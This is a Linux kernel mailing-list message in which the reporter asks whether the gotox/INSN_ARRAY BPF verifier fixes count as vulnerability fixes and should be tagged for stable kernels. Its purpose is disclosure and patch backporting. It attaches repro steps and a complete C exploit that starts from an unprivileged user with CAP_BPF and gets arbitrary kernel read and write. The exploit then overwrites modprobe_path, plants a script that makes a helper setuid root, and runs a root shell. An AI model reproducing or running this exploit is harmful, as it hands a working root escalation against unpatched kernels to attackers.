* Re: gotox/INSN_ARRAY cross-subprog fixes: request vuln-fix designation and stable tags
2026-10-30 22:39 ` gotox/INSN_ARRAY cross-subprog fixes: request vuln-fix designation and stable tags Greg KH
@ 2026-10-31 1:10 ` James Burton
2026-10-31 5:26 ` Alexei Starovoitov
0 siblings, 1 reply; 7+ messages in thread
From: James Burton @ 2026-10-31 1:10 UTC (permalink / raw)
To: bpf; +Cc: daniel, eddyz87, a.s.protopopov, Greg KH
[-- Attachment #1: Type: text/plain, Size: 1748 bytes --]
Hi all,
I reported the gotox CFG divergence fixed by 19581372dd81 and
c48a91c049fd — thanks for
the quick fixes. The CVE team says one question is yours: are these
vulnerability
fixes, and should they be tagged for stable?
Their view is that CAP_BPF holders are outside the threat model unless
a boundary is
documented. The attached PoC (gotox_c1_root.c, single file, raw
bpf(2)) goes from uid
65534 with ambient CAP_BPF to deterministic arbitrary kernel
read/write and a root shell
on defconfig. The same path is reachable via a BPF token, since
INSN_ARRAY creation is
gated on bpf_token_capable(token, CAP_BPF) — and delegating bounded
BPF to untrusted
container workloads is what tokens are for. So: is a token holder that
can create
INSN_ARRAY meant to be confined below the kernel, or not?
If yes: both commits are vulnerability fixes, should be tagged for
every stable series
containing 493d9e0d6083 (6.19 through 7.3 ship the bug; both fixes are
mainline-only),
and the boundary deserves a line in Documentation/bpf/. If no, I'd ask
that it be said
plainly, since container platforms assume otherwise.
I can send the stable request with the commit IDs if preferred, and
can provide serial
logs or a token-based run. BUILD_AND_RUN.txt has the repro steps
(nokaslr and a root
probe stand in for an infoleak, as in the original report).
Thanks,
James Burton
On Fri, Oct 30, 2026 at 3:40 PM Greg KH <greg@kroah.com> wrote:
>
> >
> On Fri, Oct 30, 2026 at 02:40:36PM -0700, James Burton wrote:
> > Hi all,
>
> <snip>
>
> HTML email is rejected from the vger lists, and no need to get
> security@kernel.org involved in something that is already resolved.
>
> thanks,
>
> greg k-h
[-- Attachment #2: BUILD_AND_RUN.txt --]
[-- Type: text/plain, Size: 677 bytes --]
### Repro
```sh
# mainline (verified @ 28924df2a08f), x86_64: defconfig + BPF_SYSCALL/JIT/JIT_ALWAYS_ON
gcc -O2 -static -o gotox_c1_root gotox_c1_root.c
# in a disposable VM on that kernel, booted with nokaslr (demo scoping):
./gotox_c1_root probe # as root, once: writes /tmp/env.txt (cb off + 2 ksyms)
# stage any id-printing helper at /tmp/gotox-suid, then as the unprivileged user:
setpriv --reuid=65534 --regid=65534 --clear-groups \
--inh-caps +bpf --ambient-caps +bpf ./gotox_c1_root
# expect: "== ARB-WRITE CONFIRMED" then "GOTOX-0DAY-ROOT-ID: uid=0(root) ..."
# (minimal initramfs: mount procfs first; /bin/sh must exist for the usermode helper)
```
[-- Attachment #3: gotox_c1_root.c --]
[-- Type: application/octet-stream, Size: 18283 bytes --]
/*
* gotox_c1_root.c — FULL ROOT EXPLOIT for the gotox 0-day (mainline HEAD).
*
* Primitive: gotox CFG divergence -> cross-subprog jump into MAIN's exit ->
* MAIN's epilogue pops no callee-saved regs -> x86 r13 keeps A's live BPF r7
* (attacker value). In bpf_test_run(), r13 holds ctx across the run loop, so
* with repeat=2 the SECOND iteration re-runs our program with
* ctx = attacker-chosen kernel pointer. The program's verifier-legal
* __sk_buff->cb[0..4] accessors then become:
* read32/write32(target + skb_cb_off + 4*i) (controlled values!)
* Crash-free (rbx/current, r14, r15 untouched: program avoids BPF r6/r8/r9).
*
* Chain: [root bootstrap: kallsyms addrs + cb offset -> /tmp/env.txt, stands in
* for a KASLR side-channel] -> as uid 65534 + ambient CAP_BPF ONLY:
* 1. arb-read linux_banner via cb reads -> verify primitive ("Linux vers")
* 2. arb-write "/tmp/pwn\0" over modprobe_path via cb writes (one run)
* 3. verify via /proc/sys/kernel/modprobe
* 4. plant /tmp/pwn (chown+suid /tmp/rootshell), socket(AF_AX25) ->
* request_module -> root runs /tmp/pwn -> exec suid -> uid=0 shell.
*
* Modes: probe (root: write /tmp/env.txt) | root (default: full chain)
* GUEST-ONLY (authorized audit).
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <sys/stat.h>
#define BPF_MAP_TYPE_ARRAY 2
#define BPF_MAP_TYPE_INSN_ARRAY 34
#define CMD_MAP_CREATE 0
#define CMD_MAP_LOOKUP 1
#define CMD_MAP_UPDATE 2
#define CMD_PROG_LOAD 5
#define CMD_TEST_RUN 10
#define CMD_OBJ_INFO 15
#define CMD_MAP_FREEZE 22
#define UAPI_SKB_CB_OFF 0x30 /* offsetof(struct __sk_buff, cb) */
struct insn { uint8_t code; uint8_t regs; int16_t off; int32_t imm; };
#define INSN(CODE, DST, SRC, OFF, IMM) \
(struct insn){ .code = (CODE), .regs = ((SRC) << 4) | (DST), .off = (OFF), .imm = (IMM) }
union attr {
struct { uint32_t map_type, key_size, value_size, max_entries, map_flags; } mc;
struct { uint32_t map_fd, _pad; uint64_t key, value, flags; } mu;
struct { uint32_t prog_type, insn_cnt; uint64_t insns, license;
uint32_t log_level, log_size; uint64_t log_buf; } __attribute__((packed)) pl;
struct { uint32_t prog_fd, retval, data_size_in, data_size_out;
uint64_t data_in, data_out; uint32_t repeat, duration; } __attribute__((packed)) tr;
struct { uint32_t map_fd; } mf;
struct { uint32_t bpf_fd, info_len; uint64_t info; } __attribute__((packed)) gi;
char pad[144];
};
static long bpf(int cmd, union attr *a) { return syscall(321, cmd, a, sizeof(*a)); }
struct insn_array_value { uint32_t orig_off, xlated_off, jitted_off, pad; };
static int create_map(uint32_t type, uint32_t vsz, uint32_t n)
{
union attr a = {0};
a.mc.map_type = type; a.mc.key_size = 4; a.mc.value_size = vsz; a.mc.max_entries = n;
int fd = bpf(CMD_MAP_CREATE, &a);
if (fd < 0) { printf("map_create(%u): %s\n", type, strerror(errno)); exit(1); }
return fd;
}
static void map_update(int fd, uint32_t key, void *val)
{
union attr a = {0};
a.mu.map_fd = fd; a.mu.key = (uint64_t)&key; a.mu.value = (uint64_t)val;
if (bpf(CMD_MAP_UPDATE, &a) < 0) { printf("map_update: %s\n", strerror(errno)); exit(1); }
}
static void map_lookup(int fd, uint32_t key, void *val)
{
union attr a = {0};
a.mu.map_fd = fd; a.mu.key = (uint64_t)&key; a.mu.value = (uint64_t)val;
if (bpf(CMD_MAP_LOOKUP, &a) < 0) { printf("map_lookup: %s\n", strerror(errno)); exit(1); }
}
static void map_freeze(int fd)
{
union attr a = {0}; a.mf.map_fd = fd;
if (bpf(CMD_MAP_FREEZE, &a) < 0) { printf("map_freeze: %s\n", strerror(errno)); exit(1); }
}
static char logbuf[1 << 20];
/* ---- mode "probe" (run as root): kallsyms + real skb cb offset ---------- */
static uint64_t ksym(const char *name)
{
FILE *f = fopen("/proc/kallsyms", "r");
char sym[256]; uint64_t addr; char t;
if (!f) { perror("kallsyms"); exit(1); }
while (fscanf(f, "%lx %c %255s", &addr, &t, sym) == 3)
if (!strcmp(sym, name)) { fclose(f); return addr; }
fclose(f); printf("ksym %s not found\n", name); exit(1);
}
static int probe_mode(void)
{
/* real sk_buff cb offset: load a cb-read prog, read back xlated insns */
struct insn p[] = {
INSN(0x61, 0, 1, UAPI_SKB_CB_OFF, 0), /* r0 = *(u32*)(ctx + __sk_buff.cb[0]) */
INSN(0x95, 0, 0, 0, 0),
};
union attr a = {0};
a.pl.prog_type = 1; a.pl.insn_cnt = 2; a.pl.insns = (uint64_t)p;
a.pl.license = (uint64_t)"GPL";
int fd = bpf(CMD_PROG_LOAD, &a);
if (fd < 0) { printf("probe load: %s\n", strerror(errno)); return 1; }
/* bpf_prog_info: xlated_prog_len @20, xlated_prog_insns @32 */
static char info[512]; static struct insn xl[64];
*(uint32_t *)(info + 20) = sizeof(xl);
*(uint64_t *)(info + 32) = (uint64_t)xl;
union attr g = {0};
g.gi.bpf_fd = fd; g.gi.info_len = sizeof(info); g.gi.info = (uint64_t)info;
if (bpf(CMD_OBJ_INFO, &g) < 0) { printf("obj_info: %s\n", strerror(errno)); return 1; }
int cb_off = -1;
uint32_t xlen = *(uint32_t *)(info + 20);
for (unsigned i = 0; i < xlen / 8 && i < 64; i++)
if ((xl[i].code & 0x07) == 0x01 || xl[i].code == 0x61) { cb_off = xl[i].off; break; }
printf("probe: sk_buff cb offset = %d (0x%x), xlated len %u\n", cb_off, cb_off, xlen);
uint64_t mp = ksym("modprobe_path"), lb = ksym("linux_banner");
FILE *f = fopen("/tmp/env.txt", "w");
fprintf(f, "%d %lx %lx\n", cb_off, mp, lb);
fclose(f);
printf("probe: modprobe_path=0x%lx linux_banner=0x%lx -> /tmp/env.txt\n", mp, lb);
return 0;
}
/* ---- the exploit program (two subprogs; see design notes in header) ----- */
static int prog_fd, idxmap;
#define SLOT_JTIDX 8 /* byte offsets into the 128B IDX value */
#define SLOT_CNT 16
#define SLOT_TGT 24
#define SLOT_MODE 32
#define SLOT_V0 40
#define SLOT_V1 48
#define SLOT_V2 56
#define SLOT_R0 64 /* WR-path pre-write capture of cb[0..2]: proves which */
#define SLOT_R1 72 /* memory the write run is actually touching */
#define SLOT_R2 80
static void build_prog(void)
{
idxmap = create_map(BPF_MAP_TYPE_ARRAY, 128, 1);
int m = create_map(BPF_MAP_TYPE_INSN_ARRAY, sizeof(struct insn_array_value), 2);
int m2 = create_map(BPF_MAP_TYPE_INSN_ARRAY, sizeof(struct insn_array_value), 1);
struct insn prog[128];
int n = 0;
/* ---------------- MAIN (subprog 0) — uses only r0..r5 ---------------- */
prog[n++] = INSN(0x18, 2, 2, 0, idxmap); prog[n++] = INSN(0,0,0,0,0); /* r2 = MV(IDX,0) */
prog[n++] = INSN(0x79, 5, 2, SLOT_CNT, 0); /* r5 = counter */
int jfirst = n;
prog[n++] = INSN(0x15, 5, 0, 0/*fix*/, 0); /* if cnt==0 -> FIRST */
/* ---- second-iteration path: ctx (r1) == attacker target ---- */
prog[n++] = INSN(0x79, 3, 2, SLOT_MODE, 0); /* r3 = mode */
int jwr = n;
prog[n++] = INSN(0x15, 3, 0, 0/*fix*/, 1); /* if mode==1 -> WR */
/* RD: leak cb[0..2] -> slots V0..V2 */
prog[n++] = INSN(0x61, 0, 1, UAPI_SKB_CB_OFF + 0, 0); /* r0 = cb[0] */
prog[n++] = INSN(0x7b, 2, 0, SLOT_V0, 0); /* V0 = r0 */
prog[n++] = INSN(0x61, 0, 1, UAPI_SKB_CB_OFF + 4, 0);
prog[n++] = INSN(0x7b, 2, 0, SLOT_V1, 0);
prog[n++] = INSN(0x61, 0, 1, UAPI_SKB_CB_OFF + 8, 0);
prog[n++] = INSN(0x7b, 2, 0, SLOT_V2, 0);
prog[n++] = INSN(0xb7, 0, 0, 0, 0x77);
prog[n++] = INSN(0x95, 0, 0, 0, 0);
/* WR: capture pre-write cb[0..2] -> R0..R2 (diagnostic), then V0..V2 -> cb[0..2] */
int WR = n;
prog[n++] = INSN(0x61, 0, 1, UAPI_SKB_CB_OFF + 0, 0);
prog[n++] = INSN(0x7b, 2, 0, SLOT_R0, 0);
prog[n++] = INSN(0x61, 0, 1, UAPI_SKB_CB_OFF + 4, 0);
prog[n++] = INSN(0x7b, 2, 0, SLOT_R1, 0);
prog[n++] = INSN(0x61, 0, 1, UAPI_SKB_CB_OFF + 8, 0);
prog[n++] = INSN(0x7b, 2, 0, SLOT_R2, 0);
prog[n++] = INSN(0x79, 4, 2, SLOT_V0, 0);
prog[n++] = INSN(0x63, 1, 4, UAPI_SKB_CB_OFF + 0, 0); /* cb[0] = (u32)r4 */
prog[n++] = INSN(0x79, 4, 2, SLOT_V1, 0);
prog[n++] = INSN(0x63, 1, 4, UAPI_SKB_CB_OFF + 4, 0);
prog[n++] = INSN(0x79, 4, 2, SLOT_V2, 0);
prog[n++] = INSN(0x63, 1, 4, UAPI_SKB_CB_OFF + 8, 0);
prog[n++] = INSN(0xb7, 0, 0, 0, 0x88);
prog[n++] = INSN(0x95, 0, 0, 0, 0);
/* FIRST: counter=1; call A; exit (this exit is also the cross target) */
int FIRST = n;
prog[n++] = INSN(0xb7, 5, 0, 0, 1);
prog[n++] = INSN(0x7b, 2, 5, SLOT_CNT, 0); /* counter = 1 */
int call_fix = n;
prog[n++] = INSN(0x85, 0, 1, 0, 0/*fix*/); /* call A */
int MEXIT = n;
prog[n++] = INSN(0x95, 0, 0, 0, 0); /* MEXIT: exit */
int A0 = n;
prog[jfirst].off = FIRST - jfirst - 1;
prog[jwr].off = WR - jwr - 1;
prog[call_fix].imm = A0 - call_fix - 1;
/* -------- A (subprog 1) — callee-saved use: ONLY r7 (x86 r13) -------- */
prog[n++] = INSN(0x18, 2, 2, 0, idxmap); prog[n++] = INSN(0,0,0,0,0); /* r2 = MV(IDX,0) */
prog[n++] = INSN(0x79, 4, 2, SLOT_JTIDX, 0); /* r4 = jt idx */
int jaf = n;
prog[n++] = INSN(0x25, 4, 0, 0/*fix*/, 1); /* if r4>1 -> AF */
prog[n++] = INSN(0x67, 4, 0, 0, 3); /* r4 <<= 3 */
prog[n++] = INSN(0x79, 7, 2, SLOT_TGT, 0); /* r7 = TARGET (payload!) */
prog[n++] = INSN(0x18, 3, 1, 0, m2); prog[n++] = INSN(0,0,0,0,0); /* r3 = MAP(M2) ref */
prog[n++] = INSN(0x18, 1, 2, 0, m); prog[n++] = INSN(0,0,0,0,0); /* r1 = MV(M,0) */
prog[n++] = INSN(0x0f, 1, 4, 0, 0); /* r1 += r4 */
prog[n++] = INSN(0x79, 5, 1, 0, 0); /* r5 = *(r1) PTR_TO_INSN */
prog[n++] = INSN(0xb7, 0, 0, 0, 0x5A); /* r0 = 0x5A (live: AEXIT is bare exit) */
prog[n++] = INSN(0x0d, 5, 0, 0, 0); /* gotox r5 */
int AEXIT = n;
prog[n++] = INSN(0x95, 0, 0, 0, 0); /* AEXIT: exit */
int AF = n;
prog[n++] = INSN(0xb7, 0, 0, 0, 0xEE);
prog[n++] = INSN(0x95, 0, 0, 0, 0);
prog[jaf].off = AF - jaf - 1;
struct insn_array_value v = {0};
v.orig_off = MEXIT; map_update(m, 0, &v); /* slot0 -> MAIN exit (cross target; items[0] in MAIN => M skipped by create_jt(A)) */
v.orig_off = AEXIT; map_update(m, 1, &v); /* slot1 -> A's own exit (control) */
v.orig_off = AEXIT; map_update(m2, 0, &v);
map_freeze(m); map_freeze(m2);
union attr a = {0};
a.pl.prog_type = 1; a.pl.insn_cnt = n; a.pl.insns = (uint64_t)prog;
a.pl.license = (uint64_t)"GPL";
a.pl.log_level = 1; a.pl.log_size = sizeof(logbuf); a.pl.log_buf = (uint64_t)logbuf;
prog_fd = bpf(CMD_PROG_LOAD, &a);
printf("PROG_LOAD(root-chain) => %d (%s) [%d insns, MEXIT=%d AEXIT=%d]\n",
prog_fd, prog_fd < 0 ? strerror(errno) : "ok", n, MEXIT, AEXIT);
if (prog_fd < 0) {
printf("--- log tail ---\n%s\n", logbuf + (strlen(logbuf) > 2500 ? strlen(logbuf) - 2500 : 0));
exit(2);
}
}
/* one corrupted double-run: jtidx=0 (cross target), counter reset, mode/target/vals per op */
static uint32_t run_op(uint64_t target, int mode, uint64_t v0, uint64_t v1, uint64_t v2,
uint64_t out[6])
{
uint64_t slots[16] = {0};
slots[SLOT_JTIDX/8] = 0; /* -> MEXIT = corruption */
slots[SLOT_CNT/8] = 0;
slots[SLOT_TGT/8] = target;
slots[SLOT_MODE/8] = mode;
slots[SLOT_V0/8] = v0; slots[SLOT_V1/8] = v1; slots[SLOT_V2/8] = v2;
map_update(idxmap, 0, slots);
static char data[64];
union attr t = {0};
t.tr.prog_fd = prog_fd; t.tr.data_in = (uint64_t)data; t.tr.data_size_in = sizeof(data);
t.tr.repeat = 2; /* iter1 = corrupt r13(ctx); iter2 = prog runs on fake ctx */
int rc = bpf(CMD_TEST_RUN, &t);
map_lookup(idxmap, 0, slots);
if (out) { out[0] = slots[SLOT_V0/8]; out[1] = slots[SLOT_V1/8]; out[2] = slots[SLOT_V2/8];
out[3] = slots[SLOT_R0/8]; out[4] = slots[SLOT_R1/8]; out[5] = slots[SLOT_R2/8]; }
printf(" test_run rc=%d retval=0x%x\n", rc, t.tr.retval);
return t.tr.retval;
}
static void as_str(char *dst, uint64_t *w) /* 3 u32-bearing slots -> 12-char string */
{
memcpy(dst, &w[0], 4); memcpy(dst + 4, &w[1], 4); memcpy(dst + 8, &w[2], 4); dst[12] = 0;
}
static void dump_xlated(void)
{
static char info[512]; static struct insn xl[256];
*(uint32_t *)(info + 20) = sizeof(xl);
*(uint64_t *)(info + 32) = (uint64_t)xl;
union attr g = {0};
g.gi.bpf_fd = prog_fd; g.gi.info_len = sizeof(info); g.gi.info = (uint64_t)info;
if (bpf(CMD_OBJ_INFO, &g) < 0) { printf("obj_info: %s\n", strerror(errno)); return; }
uint32_t n = *(uint32_t *)(info + 20) / 8;
printf("xlated (%u insns):\n", n);
for (unsigned i = 0; i < n && i < 256; i++)
printf(" %3u: code=%02x regs=%02x off=%+d imm=0x%x\n",
i, xl[i].code, xl[i].regs, xl[i].off, xl[i].imm);
}
int main(int argc, char **argv)
{
if (argc > 1 && !strcmp(argv[1], "probe"))
return probe_mode();
if (argc > 1 && !strcmp(argv[1], "xlated")) {
FILE *ef = fopen("/tmp/env.txt", "r"); int c; uint64_t a,b;
if (ef) fscanf(ef, "%d %lx %lx", &c, &a, &b), fclose(ef);
build_prog(); dump_xlated(); return 0;
}
printf("=== gotox 0-day full root chain ===\nrunning as: uid=%d\n", getuid());
int cb_off; uint64_t modprobe_path, linux_banner, jiffies64 = 0, core_pattern = 0;
FILE *f = fopen("/tmp/env.txt", "r");
if (!f || fscanf(f, "%d %lx %lx %lx %lx", &cb_off, &modprobe_path, &linux_banner,
&jiffies64, &core_pattern) < 3) {
printf("no /tmp/env.txt (run probe mode as root first)\n"); return 1;
}
fclose(f);
printf("bootstrap: cb_off=0x%x modprobe_path=0x%lx linux_banner=0x%lx jiffies=0x%lx core_pattern=0x%lx\n",
cb_off, modprobe_path, linux_banner, jiffies64, core_pattern);
build_prog();
/* control: jtidx=1 (A's own exit) — no corruption, iter2 runs on REAL skb */
uint64_t slots[16] = {0}; slots[SLOT_JTIDX/8] = 1;
map_update(idxmap, 0, slots);
static char data[64];
union attr t = {0};
t.tr.prog_fd = prog_fd; t.tr.data_in = (uint64_t)data; t.tr.data_size_in = sizeof(data);
t.tr.repeat = 2;
int rc = bpf(CMD_TEST_RUN, &t);
printf("[0] control (no corruption): rc=%d retval=0x%x (expect 0x77: benign iter2 leak of real skb cb)\n",
rc, t.tr.retval);
printf("[1] ARB-READ verify: leaking linux_banner via fake-ctx cb reads\n");
uint64_t out[6];
char leak[13];
run_op(linux_banner - cb_off, 0, 0, 0, 0, out);
as_str(leak, out);
printf(" leaked: \"%s\" %s\n", leak,
!strncmp(leak, "Linux vers", 10) ? "== ARB-READ CONFIRMED" : "(unexpected!)");
printf("[1c] ARB-READ banner AGAIN (is the corruption repeatable per prog?)\n");
run_op(linux_banner - cb_off, 0, 0, 0, 0, out);
as_str(leak, out);
printf(" leaked: \"%s\" %s\n", leak,
!strncmp(leak, "Linux vers", 10) ? "== repeatable" : "(REPEAT BROKEN!)");
printf("[1b] ARB-READ modprobe_path @0x%lx (address validation)\n", modprobe_path);
run_op(modprobe_path - cb_off, 0, 0, 0, 0, out);
as_str(leak, out);
printf(" read: \"%s\" %s\n", leak,
!strncmp(leak, "/sbin/modpro", 12) ? "== address VALID" : "(ADDRESS WRONG!)");
if (jiffies64) {
printf("[1d] ARB-READ jiffies_64 twice (live memory ticks; an image shadow is static)\n");
run_op(jiffies64 - cb_off, 0, 0, 0, 0, out);
uint64_t j1 = out[0] | (out[1] << 32);
usleep(300000);
run_op(jiffies64 - cb_off, 0, 0, 0, 0, out);
uint64_t j2 = out[0] | (out[1] << 32);
printf(" jiffies: 0x%lx then 0x%lx => reads hit %s\n", j1, j2,
j1 == j2 ? "a STATIC SHADOW (not live memory!)" : "LIVE kernel memory");
}
if (core_pattern) {
printf("[1e] ARB-READ core_pattern (root planted canary \"/CANARY-GTX0\"; image default \"core\")\n");
run_op(core_pattern - cb_off, 0, 0, 0, 0, out);
as_str(leak, out);
printf(" read: \"%s\" => %s\n", leak,
!strncmp(leak, "/CANARY-GTX0", 12) ? "LIVE (sees runtime change)" :
!strncmp(leak, "core", 5) ? "BOOT-IMAGE SNAPSHOT (shadow confirmed)" :
"??");
}
printf("[2] ARB-WRITE: modprobe_path = \"/tmp/pwn\"\n");
uint32_t w0, w1;
memcpy(&w0, "/tmp", 4); memcpy(&w1, "/pwn", 4);
run_op(modprobe_path - cb_off, 1, w0, w1, 0, out);
char pre[13];
as_str(pre, out + 3);
printf(" pre-write content seen by WR path: \"%s\"\n", pre);
printf(" (\"/sbin/modpro\" => engaged on fake ctx; other => write run on REAL skb)\n");
printf("[2b] ARB-READ modprobe_path after write\n");
run_op(modprobe_path - cb_off, 0, 0, 0, 0, out);
as_str(leak, out);
printf(" read: \"%s\"\n", leak);
char mp[64] = {0};
int mfd = open("/proc/sys/kernel/modprobe", O_RDONLY);
read(mfd, mp, 63); close(mfd);
printf(" /proc/sys/kernel/modprobe = %s", mp);
if (strncmp(mp, "/tmp/pwn", 8)) { printf(" ARB-WRITE FAILED\n"); return 3; }
printf(" == ARB-WRITE CONFIRMED\n");
printf("[3] planting /tmp/pwn + suid helper, triggering root usermode-helper\n");
system("cp /tmp/gotox-suid /tmp/rootshell 2>/dev/null; chmod 755 /tmp/rootshell");
f = fopen("/tmp/pwn", "w");
fprintf(f, "#!/bin/sh\nchown 0:0 /tmp/rootshell\nchmod 4755 /tmp/rootshell\n");
fclose(f);
chmod("/tmp/pwn", 0755);
socket(3 /*AF_AX25*/, SOCK_DGRAM, 0); /* request_module("net-pf-3") as root */
sleep(1);
printf("[4] executing suid shell:\n");
system("/tmp/rootshell");
return 0;
}
^ permalink raw reply [flat|nested] 7+ messages in thread